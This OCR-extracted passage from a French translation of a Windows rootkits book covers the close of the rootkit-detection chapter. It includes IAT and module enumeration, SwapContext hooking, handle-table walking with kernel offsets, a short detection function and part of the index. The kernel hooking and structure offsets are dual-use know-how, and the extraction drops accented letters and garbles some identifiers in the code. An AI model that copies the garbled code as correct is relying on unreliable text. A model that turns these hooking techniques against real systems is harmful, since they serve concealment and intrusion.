HANDLE hProcess,
HMODULE* IphModule,
DWORD Cb,
LPDWORD lpcbNeeded

);
En passant comme premier paramtre un handle sur le processus courant, EnumProcessModules retourne une liste de toutes les DLL de ce processus. Vous pourriez sinon
appeler cette fonction depuis lespace dadressage de nimporte quel processus, auquel
cas vous passeriez un handle sur le processus que vous voulez scanner.

Chapitre 10

Dtection d'un rootkit 319

La fonction EnumProcesses listerait alors tous les processus. Vous navez pas vous
proccuper de savoir sil y a des processus cachs puisquil vous importe peu que le
rootkit ait hook ses propres processus cachs.
Le deuxime paramtre de EnumProcessModules est un pointeur vers le tampon que vous
devez allouer pour contenir la liste des handles de DLL. Le troisime paramtre est la
taille de ce tampon. Si lespace allou est insuffisant, cette fonction retournera la taille
ncessaire pour stocker tous les handles de DLL.
Vous pouvez rcuprer le nom de chaque DLL en appelant la fonction GetModuleFileNameEx avec le handle correspondant. Une autre fonction, GetModulelnforma- tion,
retourne ladresse de base et la taille de la DLL correspondant au handle pass comme
deuxime paramtre. Ces informations sont retournes sous la forme dune structure
MODULE INFO :
typedef struct _M0DULEINF0 {
LPVOID lpBaseOfDll;
DWORD SizeOfImage;
LPVOID EntryPoint;
} MODULEINFO, *LPM0DULEINF0;

Avec le nom de la DLL, son adresse de dbut et sa taille, vous disposez de toutes les
informations ncessaires pour dterminer une plage acceptable pour les fonctions
quelle contient. Ces informations devraient tre stockes dans une liste chane pour
que vous puissiez y accder ultrieurement.
Vous pouvez maintenant commencer parcourir chaque fichier en mmoire et
analyser lIAT des DLL comme illustr la section "Approche de hooking hybride" du
Chapitre 4 (souvenez-vous que lIAT de chaque processus et de chaque DLL peut
contenir des fonctions importes depuis de nombreuses autres DLL). Mais, ici, lorsque
vous analysez un processus ou une DLL pour rechercher son IAT, vous devez
identifier chaque DLL importe. Vous pouvez utiliser le nom de la DLL pour la
localiser dans la liste chane. Comparez ensuite chaque adresse dans FIAT aux
informations de module DLL correspondantes.
La technique qui vient dtre dcrite requiert les appels API des fonctions
EnumProcesses, EnumProcessModules, GetModuleFileNameEx et GetModulelnformation.
Mais un rootkit pourrait avoir hook ces appels. Pour obtenir la liste des DLL charges
dans un processus sans avoir effectuer dappel API, vous pouvez analyser le bloc
denvironnement du processus, ou PEB (Process Environment Block). Ce bloc contient
une liste chane de tous les modules chargs. Cette approche a longtemps t utilise
par toutes sortes dattaquants, y compris les auteurs de virus.

320 Rootkits

Infiltrations du noyau Windows

Pour limplmenter, vous devrez crire un petit programme en assembleur. Le groupe


de recherche Last Stage of Delirium a crit un article trs intressant 1 qui dcrit
comment trouver la liste chane des DLL dans un processus.
Rootkit.com
Les sections de code prcdentes permettant de dtecter
les diffrents types de hooks voqus sont implmentes dans l'outil VICE
disponible l'adresse
www.rootkit.com/vault/fuzen_op/vice.zip.
v 1
rjl lllff , W, 1
mj

Suivre Pexcution

Un autre moyen de dtecter des hooks dans des API et des services systme est de
suivre lexcution des appels. Cette mthode a t utilise par Joanna Rutkowska dans
son outil Patchfinder 2 1 2. Elle part du principe que les hooks provoquent lexcution
dinstructions additionnelles qui ne seraient pas invoques par des fonctions non
hookes. Ce programme cre une base de rfrence partir de plusieurs fonctions lors
du dmarrage et ncessite que le systme soit exempt de hooks ce moment prcis. Il
appelle ensuite priodiquement ces fonctions pour vrifier si des instructions
additionnelles sont excutes par rapport la base de rfrence.
Bien que cette technique fonctionne, elle demande une base de rfrence intacte. De
plus, le nombre dinstructions quune fonction donne excute peut varier dun appel
lautre, mme si elle na pas t hooke. Ceci est d en grande partie au fait que ce
nombre dpend de lensemble de donnes que la fonction analyse. Il nest donc pas
possible de dfinir prcisment une variation acceptable de cette diffrence.
Rutkowska affirme avoir constat une diffrence considrable entre une fonction
hooke et une fonction qui ne lest pas lors des tests quelle a raliss avec des rootkits
connus, mais cet cart pourrait diminuer dans le cas dattaques plus sophistiques.

1. Last Stage of Delirium Research Group, "Win32 Assembly Components" (mise jour 12 dcembre 2002),
disponible sur http://lsd-pl.net/windows_components.htmI.
2. J. Rutkowska, "Detecting Windows Server Compromises with Patchfinder 2" (janvier 2004), disponible P
adresse www.invisiblethings.org/papers/rootkits_detection_with_patchfinder2.pdf.

Chapitre 10

Dtection d'un rootkit 321

Dtection du comportement d'un rootkit


La dtection du comportement dun rootkit est une approche nouvelle dans le domaine
de la scurit. Cest peut-tre mme la plus puissante. Le but est de reprer les tats
dincohrence du systme dexploitation. Si vous dtectez une API qui retourne des
valeurs qui sont fausses, vous savez que vous avez identifi non seulement la prsence
dun rootkit mais galement ce quil tente de dissimuler. La difficult est de parvenir
dterminer la "vrit" sans vous appuyer sur lAPI qui fait lobjet de la vrification.

Dtection de cls de registre et de fichiers cachs


Mark Russinovich et Bryce Cogswell ont dvelopp un outil, RootkitRevealer 1,
capable de dtecter les entres caches du Registre ainsi que les fichiers cachs. Pour
dterminer la "vrit", ce programme analyse les fichiers correspondant diffrentes
ruches du Registre sans laide des appels standard de lAPI Win32, tels que
RegOpenKeyEx et RegQueryValueEx. Il analyse aussi le systme de fichiers un niveau
trs bas, vitant l encore les appels API typiques. Il invoque ensuite les API des
niveaux suprieurs pour comparer les rsultats avec ce quil sait tre vrai. Sil relve
une incohrence, cela signifie quil a identifi le comportement dun rootkit et les
donnes que celui-ci cherche cacher. Cette technique est assez simple et en mme
temps trs efficace.

Dtection de processus cachs


Les processus et les fichiers cachs constituent une des menaces les plus courantes. Un
processus cach est particulirement dangereux car il sagit de code excut sur votre
systme sans que vous le sachiez. Cette section expose diffrents moyens permettant
de dtecter les processus quun attaquant veut dissimuler.
Hooker la fonction SwapContext

Hooker des fonctions est utile lors de la dtection. La fonction SwapContext dans
Ntoskrnl. exe est appele pour oprer un changement de contexte entre le thread en
cours et celui qui reprend son excution. Lorsquelle est invoque, la valeur contenue
dans le registre EDI est un pointeur vers le prochain thread qui doit devenir actif, et la
valeur du registre ESI est un pointeur vers le thread courant sapprtant suspendre
son excution. Pour cette mthode de dtection, vous devez remplacer le

1. B. Cogswell et M. Russinovich, RootkitRevealer, disponible ladresse www.sysinternals.com/ntw2k/


freeware/rootkitreveal.shtml.

Infiltrations du noyau Windows

322 Rootkits

prambule de SwapContext par un saut inconditionnel de cinq octets vers votre fonction
de dtour. Celle-ci devrait vrifier que la structure KTHREAD du thread redevenant actif
(rfrenc par le registre EDI) pointe vers un bloc EPROCESS qui est correctement li la
liste doublement chane de blocs EPROCESS. Grce cette information, vous pouvez
dtecter un processus qui a t dissimul laide des techniques DKOM dcrites au
Chapitre 7. Cela fonctionne car la planification dexcution dans le noyau se fait au
niveau thread et que tous les threads sont lis leurs processus parents. Cette mthode
a t initialement documente par James Butler et al'.
Vous pouvez sinon employer cette mthode pour dtecter des processus dissimuls par
hooking. En hookant la fonction SwapContext, vous obtenez la vritable liste de
processus. Vous pouvez ensuite comparer ces donnes celles retournes par les
appels API de listage de processus, tels que la fonction NtQuerySystemlnf ormation qui
a t hooke la section "Hooking de la SSDT" au Chapitre 4.
Autres moyens de listage de processus

La fonction ZwQuerySystemlnformation nest pas le seul moyen de lister les processus


dun systme, dautant que les techniques DKOM et de hooking peuvent la tromper.
Une alternative simple comme le listage des ports avec Netstat peut rvler la prsence
dun processus cach car celui-ci possde un handle sur un port ouvert. Lutilisation de
cet outil a t couverte au Chapitre 4.
Le processus Csnss.exe constitue une autre approche. Il possde un handle sur chaque
processus lexception des quatre suivants :

Idle ;

System ;

il Smss.exe ;

Csrss.exe.

1. J. Butler et al., "Hidden Processes: The Implication for Intrusion Dtection", Proceedings ofthe IEEE
Workshop on Information Assurance (Acadmie militaire de West Point, NY), juin 2003.

Dtection d'un rootkit 323

Chapitre 10

En parcourant les handles dans Csrss. exe et en identifiant les processus auxquels ils
se rfrent, vous obtenez un ensemble de donnes que vous pouvez comparer la liste
de processus retourne par les appels API. Dans le bloc EPROCESS de chaque processus,
il y a, entre autres informations, un pointeur vers une structure HANDLE_TABLE qui
contient un pointeur vers la table de handles de ce processus. Le Tableau 10.1 contient
les offsets requis pour trouver la table de handles de chaque processus. Pour en savoir
plus sur lanalyse des tables de handles, consultez louvrage Microsoft Windows
Internais, de Russinovich et Solomon 1.
Tableau 10.1 : Offsets pour localiser les handles partir d'un bloc EPROCESS

Offset de HANDLE TABLE


dans EPROCESS
Offset de la table
dans HANDLE_TABLE

Windows 2000

Windows XP

Windows 2003

0x128

0xC4

0xC4

0x8

0X0

0X0

Il existe encore une autre technique permettant dviter de sappuyer sur des appels
API pouvant avoir t hooks. Comme il a t dit, le bloc EPROCESS de chaque
processus contient un pointeur vers une structure HANDLE_TABLE. Il se trouve que toutes
ces structures sont lies entre elles via une structure LIST_ENTRY, de la mme manire
que tous les processus sont lis entre eux via une structure LIST_ENTRY (voir Chapitre
7). En localisant la structure HANDLE TABLE de chaque processus et en parcourant la liste
des tables de handles, vous pouvez identifier tous les processus du systme. Alors que
nous rdigeons le prsent ouvrage, nous pensons que le produit BlackLight 1 2 de
lditeur dantivirus F-Secure sappuie sur cette technique.
Pour parcourir la liste des tables de handles, vous avez besoin de loffset de la
structure LIST_ENTRY dans la structure HANDLE_TABLE (en plus de loffset du pointeur
vers cette dernire dans le bloc EPROCESS, lequel est donn au Tableau 10.1). La
structure HANDLETABLE contient galement le PID (Process ID) du processus
propritaire. Ce PID se trouve des offsets diffrents selon la version du systme

1. M. Russinovich et D. Solomon, Microsoft Windows Internais, Fourth Edition (Redmond, Wash. : Microsoft
Press, 2005). pp. 124^-9.
2. F-Secure BlackLight (Helsinki, Finland : F-Secure Corporation, 2005), disponible ladresse
www.fsecure.com/blacklight.

Infiltrations du noyau Windows

324 Rootkits

dexploitation. Les offsets permettant didentifier chaque processus partir de son PID
sont indiqus au Tableau 10.2.
Tableau 10.2 : Offsets utiliss pour parcourir les tables de handles et identifier les processus
Windows 2000

Windows XP

Windows 2003

Offset de LIST_ENTRY dans


HANDLE_TABLE

0x54

0x1 C

0x1 C

Offset du PID dans


HANDLE_TABLE

0x10

0x08

0x08

Pour chaque processus travers au moyen des valeurs de LIST_ENTRY, vous pouvez
dterminer le PID propritaire. Vous disposez ainsi dun autre ensemble de donnes
comparer aux rsultats des appels API au cas o ceux-ci manqueraient de lister un
processus particulier. La fonction suivante liste tous les processus du systme en
parcourant la liste chane de tables de handles :
void ListProcessesByHandleTable(void)

{
PEPROCESS eproc;
PLIST_ENTRY start_plist, plist_hTable = NULL;
PDWORD d_pid;
// Rcupre le bloc EPROCESS courant
eproc = PsGetCurrentProcess();
plist_hable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + HANDLETABLEOFFSET))
+ HANDLELISTOFFSET);
start_plist = plist_hTable;
do

{
d_pid = (PDWORD)(((DWORD)plist_hTable + EPROCPIDOFFSET)
- HANDLELISTOFFSET);
// Envoie le PID du processus en sortie en tant que //
message de debugging. Vous pourriez le stocker // pour le
comparer aux appels API.
DbgPrint("Process ID: %d\n", *d_pid);
// Continue
plist_hTable = plist_hTable->Flink;
}while (start_plist != plist_hTable);

}
Cette mthode de dtection des processus cachs est trs efficace. Si le rootkit ne
modifie pas cette liste dans le noyau, ce qui est de toute faon difficile faire, vous
pourrez reprer ses processus cachs. Il existe dans le noyau dautres structures
similaires pouvant tre utilises aux mmes fins. Les techniques de dtection voluent
aussi rapidement que les rootkits.

Chapitre 10

Dtection d'un rootkit 325

Conclusion
Ce chapitre a illustr de nombreux moyens diffrents de dtecter des rootkits, en
couvrant tantt leur implmentation pratique tantt la thorie sous-jacente.
La plupart des mthodes qui ont t exposes ont trait la dtection de hooks et de
processus cachs. Des livres entiers pourraient tre consacrs la dtection au niveau
du systme de fichiers ou la dtection de canaux de communication secrets. Mais, en
apprenant dj identifier des hooks, vous serez en mesure de reprer la majorit des
rootkits publics.
Aucune mthode de dtection nest exhaustive ou fiable 100 % car la dtection est un
art. A mesure que les attaquants progressent, les mthodes de protection voluent
galement.
La divulgation des techniques dimplmentation et de dtection de rootkits a pour
inconvnient de profiter galement aux attaquants, lesquels modifient ensuite leur
mthodologie en consquence. Toutefois, le fait quune technique dinfiltration nait
pas t expose dans un livre ou lors dune confrence ne rend pas les systmes plus
srs pour autant. Le niveau de sophistication des attaques prsentes dans ce livre est
de toute faon hors de porte de la majorit des aspirants hackers, qui sont
essentiellement des script-kiddies (pirates adolescents). Nous esprons que les socits
de scurit et les diteurs de systmes dexploitation considreront la protection contre
les mthodes abordes ici comme une priorit.
De nouvelles techniques de rootkits plus avances et des mthodes permettant de les
dtecter sont dveloppes alors mme que vous lisez ces lignes. Actuellement,
plusieurs initiatives visent dissimuler des rootkits en mmoire de manire quils
chappent mme un scan de la mmoire. Dautres groupes cherchent utiliser les
composants matriels disposant dun processeur embarqu pour pouvoir scanner la
mmoire du noyau sans sappuyer sur le systme dexploitation1. Ces deux groupes
divergeront videmment et, comme aucun deux na soumis dimplmentation un
examen public, il est difficile de dire lequel aura le dessus. Ce qui est sr, cest que
chaque approche prsentera ses propres limitations et faiblesses.

1. N. Petroni, J. Molina, T. Fraser et W. Arbaugh (universit du Maryland, College Park, Md.), "Copilot: A
Coprocessor Based Kernel Runtime Integrity Monitor", article prsent lors de la confrence Usenix
Security Symposium 2004 et disponible ladresse www.usenix.org/events/sec04/tech/petroni.html.

326 Rootkits

Infiltrations du noyau Windows

Les programmes de rootkits et de dtection voqus dans le paragraphe prcdent se


situent lextrme du spectre doutils. Avant de vous en soucier, vous devez dabord
vous prmunir contre les menaces les plus courantes. Ce livre a montr en quoi elles
consistent et quelles zones dun systme sont concernes.
Ce nest que rcemment que les entreprises ont commenc montrer un intrt pour la
dtection de rootkits. Nous esprons que cette tendance se poursuivra. Des
consommateurs mieux informs font voluer les logiciels de protection, de mme que
des attaquants, dailleurs.
Comme il a t dit au Chapitre 1, les entreprises ne sont motives se protger contre
les menaces potentielles qu partir du moment o elles sont victimes dune attaque.
Ce livre devrait vous inciter ne pas attendre quun tel incident se produise.

Index
S ymboles

$(BASEDIR) (variable) 42
$(DDK_LIB_PATH)
(variable) 42

A
Accs
au matriel 233 aux fichiers,
gestion dans le noyau 35
contrle au moyen danneaux
64
de niveau root 14 jeton (d) 76
Acrostiche 261
AdjustTokenGroups (fonction)
210 AdjustTokenPrivileges
(fonction) 210 Adresses
de substitution 139 locales 265
MAC 298
mapping dadresses virtuelles/adresses physiques 70
matrielles 234 tables (d) 66
virtuelles
relatives (RVA) 124
structure 71
AllCPURaised (fonction) 206
Analyse forensique 13
altration avec DKOM 188
contournement des outils 30

Anneaux de contrle daccs


64
Appel de procdure diffr
(DPC) 166, 206 Appels
hooks (d) 44, 131 non
documents 53 portes (d) 78
systme 67, 82 ARP (Address
Resolution Protocol) 298 Attaques
matrielles 31 motifs 12
multicibles 31 par rebond 282
Attributs tendus (EA), TDI 264
AUTH_ID (Authentication
Identifier) 224

B
Back Orifice 13
Backdoors Voir Portes drobes
BHO (Browser Helper Object)
310
Bibliothques
emplacement par dfaut 42
liaison 41 NDIS 286
pour le support de TCP/IP
dans le noyau 263 tierces 38
BIOS, accs (au) 238 Blink
(outil) 28

Bloc denvironnement dun


processus (PEB) 319 Bloc de
contrle de processeur (KPRCB)
196 Bombes logiques 12 Bootloader, modification 60 Build
(utilitaire) 42 Bus
dadressage 234 de
donnes 234 de
priphriques 236 du
processeur 236 PCI
237

CALL (instruction) 312


Callback, fonctions (de) 123, 284
Canaux de communication
secrets 255
connexion un serveur distant
273
contrle distance 256
dissimulation dans des
protocoles TCP/IP 258
acrostiches 260 chiffrement
259 dans DNS 258 dans ICMP
262 exploitation de l'intervalle
entre les paquets 260
maintien du niveau de
trafic existant 259 sous
DNS 260
stganographie 259

328 Index

Canaux de communication
secrets (suite) mulation d'hte
298 envoi de donnes un serveur
distant 275
exfiltration de donnes 256
manipulation du trafic rseau 277
emploi de sockets bruts 278
falsification de lorigine des
paquets 281 rebond de paquets 282
support de TCP/IP dans le noyau
via NDIS 283 via TDI 262
Carte mre 237 Cavernes, pages
mmoire 151 Chanage de
drivers filtrage de fichiers 171
rootkit KLOG 159 sniffeur de
clavier 154 Chargement dun
rootkit 52 Checked-build, kit
DDK 40
CheckNtoskrnlForOutsideJump (fonction) 316 Chemin
dexcution
de la fonction FindNextFile 88
modifi par un hook dIAT 90
modifi par un patch de dtour 132
Chiffrement
des donnes stockes 30 du
trafic 259
Cisco Security Agent (outil) 28
Clavier
accs au contrleur (de) 239
interruptions 246 modification
des LED 240 ports 241

redmarrage forc dun


systme 246 sniffeur (de) 154, 246
Cls de registre dissimulation 37
pour dtecter la prsence dun
rootkit 310, 321 pour dterminer la
version du systme dexploitation
190 pour linjection de DLL 94
pour les drivers 310 pour les
interfaces rseau 284 pour placer
les tables systme en criture 75
Run 59
CLI (instruction) 66 Code
damorage Voir Microcode
Code source, modifications 20
Collecte dinformations 12
COMMAND BYTE (constante)
241
Commandes de contrle dE/S
(IOCTL) 45 Communication
canaux secrets 255 entre les
modes utilisateur et noyau 45, 192
handles de fichiers 50 liens
symboliques 51 paquets de
requtes dE/S (IRP) 46
Composants du noyau 34
CONNECTION.CONTEXT
(pointeur) 269 CONNINFO101
(structure)
120

CONNINFO102 (structure)
119
CONNINFO110 (structure)
119
CONTAINING_RECORD
(macro) 168

Contexte
actif dun processus 76
changement 318 structure (de) 268
Contournement des outils
danalyse forensique 30
des systmes de scurit 27
Contrle
distance 15, 256 daccs la
mmoire 64, 68 de flux Voir
Chemin dexcution registres (de)
83 Contrleurs dE/S 236
dinterruptions (PIC) 79, 246
de clavier 154 8259 239 accs (au)
239 matriels 234 sur un systme
multiprocesseur 84
ConvertScanCodeToKeyCode
(fonction) 168
CPL (Current Privilge Leve)
68
CR0 (registre) 83 CRI (registre)
83 CR2 (registre) 83 CR3
(registre) 71, 83 CR4 (registre)
83 CreateRemoteThread
(fonction) 96 CS (registre) 78
Csrss.exe 322

D
DATA BYTE (constante) 241
DbgPrint (instruction) 45 DDK
(Driver Development Kit)
40

Index 329

Dbordement de tampon 18,


22, 26
Debugging
journalisation des directives
44
mode de compilation 145
DebugView (outil) 44
Dchargement dun driver/
rootkit
avec InstDrv 43 routine 39,
43, 169, 291 Droutements
(trap) flags 84 portes (de) 81
Descripteurs
dinterruptions 78 de
mmoire 77 liste MDL 101 portes
dappels 78 Dtection
dintrusion 27 Dtection de
rootkits 308 recherche de cls de
registre et de fichiers cachs 321
recherche de hooks 311 de
fonctions en ligne 316 de
gestionnaires dIRP 317
de lIAT 317 de la
SSDT314 dtermination de la
plage dadresses des drivers
312
suivi de lexcution 320
recherche de processus cachs
321
Scan de la mmoire 311
surveillance des points dentre
308 Dtour
dfinition 93 patching 132
DEVICE JEXTENSION
(structure) 160

DeviceloControl (fonction)
192,217
DeviceTree (outil) 156 Directives
de debugging, journalisation 44
DIRQL (Device IRQL) 206
DISPATCHJLEVEL (niveau
dIRQ) 162
DispatchPassDown (fonction)
160
DispatchRead (fonction) 160,
164
Disque
analyse des octets la
recherche de signatures 30
fichier dchange/de
pagination 70
hooking dunits 172
modification du noyau (sur) 60
Dissimulation
dobjets du noyau 196 de
canaux secrets dans TCP/IP
258 de cls de registre 37 de
drivers 201 de fichiers 37 de
ports rseau 114 de processus
laide dun hook de la
SSDT 104 avec DKOM 196
emplacement du code 37 des
oprations de rseau 37 DKOM
{Direct Kernel Object
Manipulation) augmentation des

privilges dun jeton de processus


209 avantages et inconvnients
186
communication avec un
driver du noyau 192

dtermination de la version
du systme dexploitation
188
dissimulation dobjets du
noyau 196 DLL
forwarding 91 injection dans
un processus utilisateur 93
via des hooks Windows 94
via des threads distants 96 via le
Registre 94 listage pour un
processus 318 DNS, dissimulation
de communications (dans) 258
DPC (Deferred Procedure Call)
166, 206
DPL {Descriptor Privilge Leve) 68
DrainOutputBuffer (fonction)
243
DRIVER_OBJECT (structure)
203 DriverEntry (fonction)
analyse de lIDT 81
communication avec un driver 193
dtection de hooks de la SSDT
314
drivers de filtrage de fichiers
171
handles de fichiers 50 hook
dinterruption 250 mapping de
scancodes/codes de touches 159
patching de dtour 142 Drivers 36
attachement un priphrique
161
bibliothques lies 41 chanage
153 chargement approche rapide
53

330 Index

Drivers (suite)
recommande avec
SCM 54 avec InstDrv 43
en mmoire non paginable
53
communication depuis le mode
utilisateur 192 cration dun
priphrique 160
de filtrage de fichiers 171
dchargement avec InstDrv 43
routine (de) 39, 43 dtachement
d'un priphrique 169
dissimulation 201 enregistrement
dun priphrique 50 tapes de
cration 39 extraction du fichier
.sys 56 fichiers constitutifs 40
gestion des paquets IRP 46
handles de fichiers 50 injection de
code dans le noyau 38
journalisation des directives de
debugging 44 kit DDK 40
lancement automatique au
dmarrage 59 liens symboliques
51 nommage 41 paginables 53
structure
IO_STACK_LOCATION
157
TDI 263 typiques 38
Drivers.exe 201 DriverUnload
(fonction) 164

EA (Extended Attributes), TDI


264
EAX (registre) 82, 88, 109 EDI
(registre) 321 EDX (registre) 82,
88, 109 EFLAGS (registre) 84
Emulation dhte
cration dune adresse MAC
298
envoi de paquets 301 gestion
du protocole ARP 298 passerelle
IP 301 Encase (outil) 30
Enregistrement dun
priphrique 50 Entercept (outil)
28 EnumProcesses (fonction) 319
EnumProcessModules (fonction)
318
EPROCESS (structure) 111, 196
ETHREAD (structure) 197
EX_FAST_REF (structure)
211

Exfiltration de donnes 12, 256


Exploits 18
dbordement de tampon 22
zero-day 23

dissimulation 37 drivers de
filtrage (de) 171 gestion de
laccs au niveau du noyau 35
handles (de) 50 MAKEFILE
42 SOURCES 40
FILE_FULL_EA_INFORMA
TION (structure) 266
FindFirstFile (fonction) 88
FindNextFile (fonction) 88
FindProcessEPROC (fonction)
199, 210 FindProcessToken
(fonction) 211
FindResource (fonction) 57
Flags
dinterruptions 84 de contrle
dun IRP I 17 de droutement 84
de la MDL 102 de LED du clavier
242 de priphrique 160
Fonctions
de callback 123, 284 dtours
93 hooking 91 majeures 48
reroutage du flux de contrle
133
trampolines 93 Frappe,
interception 154 Free-build, kit
DDK 40 Furtivit 13

Failles Voir Vulnrabilits


logicielles
FAR (instruction) 134 Fastlo
(fonction) 171 Fichiers
cachs par des rootkits,
dtection 321
dchange/de pagination 70
den-tte 38 dun driver 40

GainExclusivity (fonction) 207


GDT (Global Descriptor Table)
Voir Tables systme
Gestionnaires
dobjets 186

Index 331

de contrle de services (SCM)


54, 199 de priphriques (WDM)
201 GetListOfModules
(fonction)
313
GetLocationOfProcessName
(fonction) 199
GetModuleFileNameEx
(fonction) 319
GetModulelnformation
(fonction) 319
GetProcAddress (fonction) 91,
97
GetVersionEx (fonction) 188
GORINGZERO (instruction)
252
Guerre lectronique 16

Hooks
allocation despace mmoire
127
dinterruptions 80, 247
dunits de disque 172 de
fonctions en ligne 91,316 de
gestionnaires dIRP 113, 317
de la fonction SwapContext
321
de la table IAT 90,
317 IDT 108 SSDT
99,314 de niveau noyau
98 utilisateur 87 dfinis
par Microsoft 94
hybrides 123
recherche pour la dtection de
rootkits 311 types 311

I
H
Hachage cryptographique 30
Hal.dll 246
HANDLE. TABLE (structure)
323
Handles de fichiers
communication entre les
modes utilisateur et noyau 50
liens symboliques 51 HIDS
(Hast Intrusion Dtection System )
27
HIPS (Host Intrusion Prvention
System ) 28 HOOK_SYSCALL
(macro)
103
HookDriveSet (fonction) 172
HookedDeviceControl (fonction)
116 HooklmportsOfTmage
(fonction) 124
Hooklnterrupts (fonction) 110
HookKeyboard (fonction) 161

IAT (ImportAddress Table) Voir


Table dimportation ICMP,
dissimulation de
communications (dans) 262
Identifiants
dauthentification de processus
(AUTHJD) 224 de privilges de
processus (LUID) 216 de
processus (PID) 197 de scurit
(SID) 220 Idle (processus) 106
IDT (Interrupt Descriptor Table)
Voir Tables systme IDTENTRY
(structure) 109 IDTINFO
(structure) 109 IDTR (Interrupt
Descriptor Table Register) 78

IFS (Installable File System)


(kit) 183
IMAGE_DIRECTORYENTRY_IMPORT (structure) 125
IMAGE_IMPORT_BY_NAME
(structure) 90, 125
IMAGE_IMPORT_DESCRIP TOR (structure) 90, 125
IMAGEJNFO (structure) 123 IN
(instruction) 66 in_addr
(structure) 279 INCLUDES
(variable) 41 Infection de
cavernes 151 Inforensique Voir
Analyse forensique
InitThreadKeyLogger (fonction)
162 InstallTCPDriverHook
(fonction) 115 InstDrv (outil) 43
INT 2E (instruction) 88, 100, 109,
111
INT 3 (instruction) 128
Interception logicielle 16
Interfaces rseau
cls de registre 284
liaison dun socket 279
MAC 283
mode promiscuous 280
InterlockedExchange
(fonction) 115
Interlockedlncrement
(fonction) 146
Interruptions
contrleur 79, 246
dsactivation 84 du
clavier 246 flags (d) 84
masquables 82 portes
(d) 80
table de descripteurs 67, 78,
108
Intrusions, dtection et
prvention 27

332 Index

IO_STACK_LOCATION
(structure) 157
IoAttachDevice (fonction) 161
IoCallDriver (fonction) 157, 271
IoCompletionRoutine (fonction)
117, 120
IoCopyCurrentlrpStackLocationToNext (fonction) 165
IoCreateDevice (fonction) 160
IoCreateSymbolicLink
(fonction) 51 IOCTL (I/O
Control) 45 IOCTL_DRV_INIT
192 IOCTL_DRV_VER 192
IOCTL_ROOTKIT_SETPRIV
217
IOCTL_TCP_QUERY_INFORMATION_EX 116
IoDetachDevice (fonction) 169
IoGetCurrentlrpStackLocation
(fonction) 164
loGetCurrentProcess (fonction)
196 IoGetDeviceObjectPointer
(fonction) 115
IoGetNextlrpStackLocation
(fonction) 164
IoSkipCurrentlrpStackLocation (fonction) 158 IPD
(outil) 28, 309 IRP (I/O Request
Pocket) 46 codes de contrle 116
communication avec un driver
TDI 271 en attente 165 tat 165
majeurs 113 mineurs 116 structure
IO_STACK_LOCATION
157

tampons
dentre 117
de sortie 119
transmission entre des drivers
chans 155 types 113
IRP_MJ_DEVICE_CONTROL
115, 192
IRPMJIMERNALDEVICE
_CONTROL 192 ISR (Interrupt
Service Routine)

79

J
Jetons daccs de processus 76
ajout de SID 220 augmentation
des privilges 209
localisation 210
modification 210
structure 211
JMP (instruction) 134, 312 JMP
FAR (instruction) 134
Journalisation des directives de
debugging 44

Kernel32.dll 88
KeServiceDescriptorTable
(table systme) 99
KeServiceDescriptorTableShadow (table systme) 100
KeSetTargetProcessorDPC
(fonction) 85, 207
KeSetTimerEx (fonction) 245
KeStallExecutionProcessor
(fonction) 236, 242
KeWaitForSingleObject
(fonction) 168, 170
KEYBOARD_INPUT_DATA
(structure) 166
KiSystemService (dispatcheur)
82,
99 Kits
DDK 40
IFS 183
SDK
216
KLOG (rootkit) 159 KPRCB
(Kernel PRocessor Control Block)
196 KTHREAD (structure) 197,
322
KUSER_SHARED_DATA (zone
mmoire) 128

KeCurrentProcessorNumber
(fonction) 207
KeGetActiveProcessors
(fonction) 85
KeGetCurrentlrql (fonction)
206
KeGetCurrentProcessorNumber (fonction) 85
KelnitializeDpc (fonction) 207
KelnsertQueueDpc (fonction)
207
KeN umberProcessors (fonction)
207 KeRaiselrql (fonction) 206

Langages typage fort 27


Latching 235
LDT (Local Descriptor Table) Voir
Tables systme Liaison
(binding) 91 LIDS (outil) 28
LIDT (instruction) 79 Liens
symboliques 51, 310
LISTJENTRY (structure) 196,
202, 323 Listage
des DLL dun processus 318
des modules du noyau 312

Index 333

des ports avec Netstat.exe 322


des processus avec Csrss.exe 323
Liste chane
des modules chargs dans un
processus 319 des processus 198
Liste de descripteurs de mmoire
(MDL) 101 LoadLibrary
(fonction) 91, 96 LoadResource
(fonction) 57 LookupPrivilege
Value (fonction) 216 LUID
(Locally Unique IDentifier ) 216
LUID_AND_ATTRIBUTES
(structure) 216

MAKEFILE (fichier) 42
Manipulation directe des objets
du noyau 185
MappedSystemCallTable
(fonction) 102
Mapping dadresses virtuelles/
adresses physiques 35, 70
Marqueurs (tombstone) 44
Matriel
accs
au BIOS 238 au contrleur
de clavier 239
aux dispositifs PCI et
PCMCIA 239 direct 233
adresses 234 anneau 0 64
attaques 31 bus
dadressage 234 de
donnes 234 de
priphriques 236

du processeur 236
PCI 237
composants dune carte mre
237
latching 235 pages
mmoire 67 ports
234
puce contrleur dE/S 236
registres de contrle 82
synchronisation 236 systmes
multiprocesseurs 84 tables
de descripteurs
dinterruptions 78 de
descripteurs de mmoire 77
de distribution des services
systme 82
MDL (Memory Descriptor List)
101

Membres dobjets du noyau


186
Mmoire
alloue aux hooks dans le
noyau 127
contrle daccs au moyen
danneaux 64
dsactivation de la protection
dans le noyau 83 dsactivation
de la protection de la SSDT
101 dtection de rootkits 311
du noyau 98
gestion au niveau du noyau 35
mapping dadresses virtuelles/adresses physiques 35 non
pagine 53, 139 pages 67
virtuelle 70
Menu de commandes dun
rootkit 16
METHOD_BUFFERED
(fonction) 192

METHOD.NEIHER (fonction)
117 Microcode
dfinition 231 mise jour 252
modification 232 Migbot
(rootkit) 53, 133 Mode noyau
Voir Noyau Mode promiscuous
280 Mode utilisateur anneau 3 64
communication avec le mode
noyau 45, 192 hooks 87
Modles de saut 143
Modifications de code source
20
MODULE_ENTRY (structure)
202 MODULEJNFO (structure)
314,319
Motifs des attaquants 12 MSR
(Model-Specific Register) 112
Mutation polymorphique 30

NDIS (Network Driver Interface


Spcification)

avantages et inconvnients 304


dclaration du protocole 283
dplacement de paquets 292
mulation dhte 298 fonctions de
callback du driver de protocole
287 NDIS_BUFFER (structure)
302
NDIS.PACKET (structure)
293
NdisAllocateBufferPool
(fonction) 292

334 Index

NdisAllocatePacketPool
(fonction) 292
NdisOpenAdapter (fonction)
285
NdisQueryBuffer (fonction)
303
NdisRegisterProtocol (fonction)
285 NdisRequest (fonction) 287
NdisSend (fonction) 301
NdisTransferData (fonction) 293
NdisTransportData (fonction)
292
NetBus (programme backdoor)
13 Netstat (utilitaire) 114
NewZwQuerySystemlnformation (fonction) 106 NIDS
(Network Intrusion Dtection
